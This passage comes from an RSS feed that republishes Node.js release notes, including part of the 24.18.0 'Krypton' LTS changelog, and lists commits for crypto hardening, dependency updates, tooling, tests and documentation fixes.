<li>[<a href="https://github.com/nodejs/node/commit/444c03fd3b"><code>444c03fd3b</code></a>] - <strong>test</strong>: add regression test for using <code>ObjectWrap</code> in worker (Mohamed Akram) <a href="https://github.com/nodejs/node/pull/63642" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63642/hovercard">#63642</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/771230df78"><code>771230df78</code></a>] - <strong>test</strong>: accept SIGILL aborts in async-hooks tests (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63687" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63687/hovercard">#63687</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0b3cd8e5e6"><code>0b3cd8e5e6</code></a>] - <strong>test</strong>: add more test cases for pathToFileURL (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/63293" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63293/hovercard">#63293</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0cbc77c60e"><code>0cbc77c60e</code></a>] - <strong>test</strong>: update test426-fixtures to 2965987bf4c96afa400c9356c8e620cb340aaee (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63668" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63668/hovercard">#63668</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f53dee5fe4"><code>f53dee5fe4</code></a>] - <strong>test</strong>: update WPT for WebCryptoAPI to 0c413fb56b (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63647" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63647/hovercard">#63647</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3048f8dc1a"><code>3048f8dc1a</code></a>] - <strong>test,debugger</strong>: add test for type stripping in debugger probe mode (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63748" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63748/hovercard">#63748</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9485caa97e"><code>9485caa97e</code></a>] - <strong>test_runner</strong>: remove unused shuffleArrayWithSeed (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63847" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63847/hovercard">#63847</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/34433a4a87"><code>34433a4a87</code></a>] - <strong>test_runner</strong>: fix watch cwd with isolation none (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63690" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63690/hovercard">#63690</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2e7da29b7c"><code>2e7da29b7c</code></a>] - <strong>test_runner</strong>: avoid recompiling coverage globs for every file (sangwook) <a href="https://github.com/nodejs/node/pull/63675" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63675/hovercard">#63675</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/205295a31e"><code>205295a31e</code></a>] - <strong>test_runner</strong>: cache <code>shouldSkipFileCoverage</code> result per URL (sangwook) <a href="https://github.com/nodejs/node/pull/63675" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63675/hovercard">#63675</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ee29465e77"><code>ee29465e77</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>tls</strong>: add certificateCompression option (Tim Perry) <a href="https://github.com/nodejs/node/pull/62217" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62217/hovercard">#62217</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/57d060ed2b"><code>57d060ed2b</code></a>] - <strong>tls</strong>: route event listener exceptions through error handlers (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63822" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63822/hovercard">#63822</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d2dc6f8506"><code>d2dc6f8506</code></a>] - <strong>tools</strong>: bump piscina from 5.1.4 to 5.2.0 in /tools/doc (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64002" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64002/hovercard">#64002</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b0c418f605"><code>b0c418f605</code></a>] - <strong>tools</strong>: update sccache to v0.16.0 (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/63078" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63078/hovercard">#63078</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2af8433bef"><code>2af8433bef</code></a>] - <strong>tools</strong>: bump js-yaml from 4.1.1 to 4.2.0 in /tools/lint-md (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63948" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63948/hovercard">#63948</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8ba5b8574b"><code>8ba5b8574b</code></a>] - <strong>tools</strong>: bump js-yaml from 4.1.1 to 4.2.0 in /tools/eslint (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63947" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63947/hovercard">#63947</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/325087be5b"><code>325087be5b</code></a>] - <strong>tools</strong>: enforce iterator result property order (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63526" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63526/hovercard">#63526</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/314f417db7"><code>314f417db7</code></a>] - <strong>tools</strong>: update the llhttp updater script (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63819" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63819/hovercard">#63819</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c6e4f5a4fe"><code>c6e4f5a4fe</code></a>] - <strong>tools</strong>: avoid test/fixtures/wpt/README.md conflicts (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63938" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63938/hovercard">#63938</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/363912acc3"><code>363912acc3</code></a>] - <strong>tools</strong>: align Bash snippets in GHA with <code>lint-sh</code> conventions (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63829" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63829/hovercard">#63829</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cfd16e973c"><code>cfd16e973c</code></a>] - <strong>tools</strong>: bump @node-core/doc-kit in /tools/doc in the doc group (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63760" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63760/hovercard">#63760</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1566872706"><code>1566872706</code></a>] - <strong>tools</strong>: bump the eslint group in /tools/eslint with 7 updates (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63730" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63730/hovercard">#63730</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/08437a3a5b"><code>08437a3a5b</code></a>] - <strong>tools</strong>: fix zlib updater script (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63707" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63707/hovercard">#63707</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e883366172"><code>e883366172</code></a>] - <strong>url</strong>: fix URLSearchParams(null) to prudce null= per spec (Marco) <a href="https://github.com/nodejs/node/pull/63782" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63782/hovercard">#63782</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/60e83d9bfd"><code>60e83d9bfd</code></a>] - <strong>util</strong>: fix scientific notation formatting (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63823" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63823/hovercard">#63823</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5f7f60ac36"><code>5f7f60ac36</code></a>] - <strong>util</strong>: fix -0 formatting when numericSeparator is enabled (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63815" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63815/hovercard">#63815</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/af1a11e0dd"><code>af1a11e0dd</code></a>] - <strong>util</strong>: remove style caches from styleText slow path (Guilherme Araújo) <a href="https://github.com/nodejs/node/pull/63706" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63706/hovercard">#63706</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b17817eb2b"><code>b17817eb2b</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>vfs</strong>: dispatch fs/promises to mounted VFS instances (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63537" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63537/hovercard">#63537</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7bc93a6ac5"><code>7bc93a6ac5</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>vfs</strong>: add minimal node:vfs subsystem (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63115" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63115/hovercard">#63115</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/584e7527c4"><code>584e7527c4</code></a>] - <strong>vm</strong>: fix property queries for proxy sandboxes (Brian Meek) <a href="https://github.com/nodejs/node/pull/63742" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63742/hovercard">#63742</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a926e72eaf"><code>a926e72eaf</code></a>] - <strong>watch</strong>: print name of changed file that triggers restart (Marco) <a href="https://github.com/nodejs/node/pull/63781" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63781/hovercard">#63781</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/32a2621ca4"><code>32a2621ca4</code></a>] - <strong>watch</strong>: cancel pending restart on shutdown (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63383" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63383/hovercard">#63383</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/692215d1b1"><code>692215d1b1</code></a>] - <strong>zlib</strong>: coerce -0 to +0 for crc32 seeds (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63556" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63556/hovercard">#63556</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[2026-06-23, Version 24.18.0 'Krypton' (LTS), @richardlau prepared by @sxa]]></title>
<description><![CDATA[Notable Changes

[e07e7a31e1] - crypto: update root certificates to NSS 3.123.1 (Node.js GitHub Bot) #63527
[44c8ebcbd6] - http: avoid stream listeners on idle agent sockets (Matteo Collina) #64004
[d3ef4122ee] - (SEMVER-MINOR) buffer: increase Buffer.poolSize default to 64 KiB (Matteo Collina) #...]]></description>
<link>https://tsecurity.de/de/3619855/downloads/2026-06-23-version-24180-krypton-lts-richardlau-prepared-by-sxa/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3619855/downloads/2026-06-23-version-24180-krypton-lts-richardlau-prepared-by-sxa/</guid>
<pubDate>Wed, 24 Jun 2026 01:16:44 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Notable Changes</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/e07e7a31e1"><code>e07e7a31e1</code></a>] - <strong>crypto</strong>: update root certificates to NSS 3.123.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63527" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63527/hovercard">#63527</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/44c8ebcbd6"><code>44c8ebcbd6</code></a>] - <strong>http</strong>: avoid stream listeners on idle agent sockets (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64004" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64004/hovercard">#64004</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d3ef4122ee"><code>d3ef4122ee</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>buffer</strong>: increase Buffer.poolSize default to 64 KiB (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63597" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63597/hovercard">#63597</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bb2857b85a"><code>bb2857b85a</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>crypto</strong>: align key argument names in docs and error messages (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62527" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62527/hovercard">#62527</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b9d5e87880"><code>b9d5e87880</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>crypto</strong>: accept key data in crypto.diffieHellman() and cleanup DH jobs (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62527" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62527/hovercard">#62527</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ccd756d61e"><code>ccd756d61e</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>crypto</strong>: add TurboSHAKE and KangarooTwelve Web Cryptography algorithms (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62183" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62183/hovercard">#62183</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4c9251fc09"><code>4c9251fc09</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>http</strong>: add writeInformation to send arbitrary 1xx status codes (Tim Perry) <a href="https://github.com/nodejs/node/pull/63155" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63155/hovercard">#63155</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8c989ec4a3"><code>8c989ec4a3</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>inspector</strong>: expose precise coverage start to JS runtime (sangwook) <a href="https://github.com/nodejs/node/pull/63079" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63079/hovercard">#63079</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3f54c8ba32"><code>3f54c8ba32</code></a>] - <em><strong>Revert</strong></em> "<strong>stream</strong>: noop pause/resume on destroyed streams" (Stewart X Addison) <a href="https://github.com/nodejs/node/pull/63834" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63834/hovercard">#63834</a></li>
</ul>
<h3>Commits</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/d3ef4122ee"><code>d3ef4122ee</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>buffer</strong>: increase Buffer.poolSize default to 64 KiB (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63597" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63597/hovercard">#63597</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9ff36e40f0"><code>9ff36e40f0</code></a>] - <strong>build</strong>: add --enable-all-experimentals build flag (Paolo Insogna) <a href="https://github.com/nodejs/node/pull/62755" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62755/hovercard">#62755</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7c22ee23aa"><code>7c22ee23aa</code></a>] - <strong>build</strong>: def <code>NODE_USE_NODE_CODE_CACHE</code> only used in node_mksnapshot (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/63588" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63588/hovercard">#63588</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2551abdb4a"><code>2551abdb4a</code></a>] - <strong>build,win</strong>: enable x64 PGO (Stefan Stojanovic) <a href="https://github.com/nodejs/node/pull/62761" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62761/hovercard">#62761</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e8a55ce9b1"><code>e8a55ce9b1</code></a>] - <strong>crypto</strong>: strengthen argument CHECKs in TurboSHAKE (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/62763" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62763/hovercard">#62763</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ae61cd68f3"><code>ae61cd68f3</code></a>] - <strong>crypto</strong>: harden WebCrypto against prototype pollution (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63363" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63363/hovercard">#63363</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3d05a1d396"><code>3d05a1d396</code></a>] - <strong>crypto</strong>: pass CryptoKey handles to KDF jobs (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63363" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63363/hovercard">#63363</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f9d10a3f6b"><code>f9d10a3f6b</code></a>] - <strong>crypto</strong>: remove async from WebCrypto methods (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63363" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63363/hovercard">#63363</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e431d93e9e"><code>e431d93e9e</code></a>] - <strong>crypto</strong>: add WebCrypto CryptoJob mode (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63363" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63363/hovercard">#63363</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/56e2505e48"><code>56e2505e48</code></a>] - <strong>crypto</strong>: wire ML-DSA and ML-KEM for use when using BoringSSL (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63255" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63255/hovercard">#63255</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3bac77f2a8"><code>3bac77f2a8</code></a>] - <strong>crypto</strong>: wire ChaCha20-Poly1305 in Web Cryptography when using BoringSSL (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63255" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63255/hovercard">#63255</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1bff901b09"><code>1bff901b09</code></a>] - <strong>crypto</strong>: wire AES-KW in Web Cryptography when using BoringSSL (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63255" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63255/hovercard">#63255</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4433fca3df"><code>4433fca3df</code></a>] - <strong>crypto</strong>: harden CryptoKey algorithm slots (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63111" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63111/hovercard">#63111</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b5cf01217a"><code>b5cf01217a</code></a>] - <strong>crypto</strong>: harden KeyObject internal slots (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63111" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63111/hovercard">#63111</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ce84aef37d"><code>ce84aef37d</code></a>] - <strong>crypto</strong>: add guards and adjust tests for BoringSSL (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62883" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62883/hovercard">#62883</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/26781689b0"><code>26781689b0</code></a>] - <strong>crypto</strong>: reject duplicate ML-KEM JWK key_ops (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62905" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62905/hovercard">#62905</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/aeea8f4970"><code>aeea8f4970</code></a>] - <strong>crypto</strong>: add JWK support for ML-KEM and SLH-DSA key types (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62706" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62706/hovercard">#62706</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/407cf91656"><code>407cf91656</code></a>] - <strong>crypto</strong>: guard against size_t overflow on experimental 32-bit arch (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62626" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62626/hovercard">#62626</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bb2857b85a"><code>bb2857b85a</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>crypto</strong>: align key argument names in docs and error messages (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62527" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62527/hovercard">#62527</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b9d5e87880"><code>b9d5e87880</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>crypto</strong>: accept key data in crypto.diffieHellman() and cleanup DH jobs (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62527" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62527/hovercard">#62527</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b46d52b283"><code>b46d52b283</code></a>] - <strong>crypto</strong>: unify asymmetric key import through KeyObjectHandle::Init (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62499" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62499/hovercard">#62499</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ccd756d61e"><code>ccd756d61e</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>crypto</strong>: add TurboSHAKE and KangarooTwelve Web Cryptography algorithms (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62183" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62183/hovercard">#62183</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e07e7a31e1"><code>e07e7a31e1</code></a>] - <strong>crypto</strong>: update root certificates to NSS 3.123.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63527" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63527/hovercard">#63527</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/61826df455"><code>61826df455</code></a>] - <strong>crypto</strong>: coerce -0 keylen to +0 in pbkdf2 and scrypt (Jordan Harband) <a href="https://github.com/nodejs/node/pull/63531" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63531/hovercard">#63531</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/16d2fd3c07"><code>16d2fd3c07</code></a>] - <strong>crypto</strong>: align verifyOneShot accepted types (Anshika Jain) <a href="https://github.com/nodejs/node/pull/63280" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63280/hovercard">#63280</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3b8330deda"><code>3b8330deda</code></a>] - <strong>crypto</strong>: improve system certificate enumeration logic on macOS (Robo) <a href="https://github.com/nodejs/node/pull/62576" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62576/hovercard">#62576</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/141de35399"><code>141de35399</code></a>] - <strong>debugger</strong>: add --help to <code>node inspect</code> and improve docs (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63201" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63201/hovercard">#63201</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b76bfcd4fa"><code>b76bfcd4fa</code></a>] - <strong>deps</strong>: upgrade npm to 11.16.0 (npm team) <a href="https://github.com/nodejs/node/pull/63602" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63602/hovercard">#63602</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4ec142314c"><code>4ec142314c</code></a>] - <strong>deps</strong>: SQLite: cherry-pick b869ed6b067d623cb1383549f2a18aa35508385d (Junsu Han) <a href="https://github.com/nodejs/node/pull/63525" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63525/hovercard">#63525</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/19e8ce1c36"><code>19e8ce1c36</code></a>] - <strong>deps</strong>: upgrade npm to 11.15.0 (npm team) <a href="https://github.com/nodejs/node/pull/63463" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63463/hovercard">#63463</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8a264260e2"><code>8a264260e2</code></a>] - <strong>deps</strong>: update sqlite to 3.53.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63217" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63217/hovercard">#63217</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/50c8ff3f94"><code>50c8ff3f94</code></a>] - <strong>deps</strong>: update simdjson to 4.6.4 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62811" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62811/hovercard">#62811</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6e56f01c4b"><code>6e56f01c4b</code></a>] - <strong>deps</strong>: V8: cherry-pick 435a2cdf664c (Matthias Liedtke) <a href="https://github.com/nodejs/node/pull/63136" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63136/hovercard">#63136</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3ba813b242"><code>3ba813b242</code></a>] - <strong>deps</strong>: cherry-pick <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/libuv/libuv/commit/a43e543/hovercard" href="https://github.com/libuv/libuv/commit/a43e543">libuv/libuv@<tt>a43e543</tt></a> (Ali Hassan) <a href="https://github.com/nodejs/node/pull/63222" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63222/hovercard">#63222</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2390e3a5ac"><code>2390e3a5ac</code></a>] - <strong>doc</strong>: remove duplicated sentences in large-pull-requests.md (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63650" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63650/hovercard">#63650</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/52a1c18374"><code>52a1c18374</code></a>] - <strong>doc</strong>: update <code>git node land</code> instructions for security releases (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63586" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63586/hovercard">#63586</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3e6b4da037"><code>3e6b4da037</code></a>] - <strong>doc</strong>: drop --experimental from --permission (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/63583" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63583/hovercard">#63583</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/84d05163b9"><code>84d05163b9</code></a>] - <strong>doc</strong>: explicitly ask for reproducible in JS (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/63479" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63479/hovercard">#63479</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7da2a4450e"><code>7da2a4450e</code></a>] - <strong>doc</strong>: fix URL postMessage example in worker_threads (Kit Dallege) <a href="https://github.com/nodejs/node/pull/62203" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62203/hovercard">#62203</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3d79bd8b29"><code>3d79bd8b29</code></a>] - <strong>doc</strong>: clarify <code>filter</code> option of <code>sqlite.database.applyChangeset</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63515" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63515/hovercard">#63515</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4f4174aace"><code>4f4174aace</code></a>] - <strong>doc</strong>: fix double spaces in ERR_TLS_INVALID_PROTOCOL_METHOD (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63511" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63511/hovercard">#63511</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/388323ca4b"><code>388323ca4b</code></a>] - <strong>doc</strong>: fix double space in modules.md (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63512" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63512/hovercard">#63512</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5258ccc058"><code>5258ccc058</code></a>] - <strong>doc</strong>: fix "options" to "option" in tls.createServer (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63453" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63453/hovercard">#63453</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/43e83e6507"><code>43e83e6507</code></a>] - <strong>doc</strong>: fix typo in deprecations (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63434" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63434/hovercard">#63434</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f05a61d54c"><code>f05a61d54c</code></a>] - <strong>doc</strong>: remove unsupported template type from v8.md (René) <a href="https://github.com/nodejs/node/pull/63410" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63410/hovercard">#63410</a></li>
